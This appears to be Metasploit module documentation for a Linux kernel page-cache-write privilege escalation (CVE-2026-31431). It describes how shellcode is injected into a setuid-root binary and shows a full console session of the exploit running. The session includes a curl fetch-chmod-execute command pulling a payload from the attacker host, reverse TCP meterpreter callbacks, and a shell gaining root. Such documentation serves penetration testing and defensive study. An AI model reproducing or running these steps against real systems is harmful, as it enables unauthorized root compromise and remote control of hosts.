## Vulnerable Application

CVE-2026-31431 is a logic flaw in the Linux kernel's authencesn AEAD template that, when reached via the
AF_ALG socket interface combined with splice(), allows an unprivileged local user to perform a controlled
4-byte write into the page cache of any readable file. Because the corrupted pages are never marked dirty, the
on-disk file is unchanged but the in-memory version is immediately visible system-wide, enabling local
privilege escalation by injecting shellcode into the page cache of a setuid-root binary such as /usr/bin/su.
The vulnerability was introduced by an in-place optimization in algif_aead.c (commit 72548b093ee3, 2017) and
affects essentially all major Linux distributions shipped since then until the fix in commit a664bf3d603d.

## Verification Steps

1. Obtain a session on an affected Linux host
2. Set the PAYLOAD and related datastore options
3. Run the exploit

## Options

N/A

## Scenarios

### Ubuntu 24.04 x64

```
msf exploit(multi/ssh/sshexec) > exploit
[*] Started reverse TCP handler on 192.168.159.128:4444 
[*] 192.168.159.132:22 - Sending stager...
[*] Command Stager progress -  46.74% done (402/860 bytes)
[*] Sending stage (3090404 bytes) to 192.168.159.132
[*] Meterpreter session 24 opened (192.168.159.128:4444 -> 192.168.159.132:38262) at 2026-04-30 14:50:33 -0400
[!] Timed out while waiting for command to return
[*] Command Stager progress - 100.00% done (860/860 bytes)

meterpreter > getuid
Server username: smcintyre
meterpreter > sysinfo
Computer     : ubuntu2404
OS           : Ubuntu 24.04 (Linux 6.8.0-79-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > background 
[*] Backgrounding session 24...
msf exploit(multi/ssh/sshexec) > use exploit/linux/local/cve_2026_31431_copy_fail 
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
msf exploit(linux/local/cve_2026_31431_copy_fail) > set SESSION -1
SESSION => -1
msf exploit(linux/local/cve_2026_31431_copy_fail) > set VERBOSE true
VERBOSE => true
msf exploit(linux/local/cve_2026_31431_copy_fail) > set LPORT 5555
LPORT => 5555
msf exploit(linux/local/cve_2026_31431_copy_fail) > exploit
[*] Command to run on remote host: curl -so ./JVvusljc http://192.168.159.128:8080/dau8JtEFWcUux21CRy4HUQ;chmod +x ./JVvusljc;./JVvusljc&
[*] Fetch handler listening on 192.168.159.128:8080
[*] HTTP server started
[*] Adding resource /dau8JtEFWcUux21CRy4HUQ
[*] Started reverse TCP handler on 192.168.159.128:5555 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Using 'python3' on the remote target.
[+] The exploit socket has been created, encryption primitives are available.
[*] Triggering the vulnerability using Python...
[+] The target is vulnerable.
[*] Triggering the vulnerability using Python...
[*] Client 192.168.159.132 requested /dau8JtEFWcUux21CRy4HUQ
[*] Sending payload to 192.168.159.132 (curl/8.5.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 192.168.159.132
[*] Meterpreter session 25 opened (192.168.159.128:5555 -> 192.168.159.132:48976) at 2026-04-30 14:51:18 -0400

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : ubuntu2404
OS           : Ubuntu 24.04 (Linux 6.8.0-79-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > 
```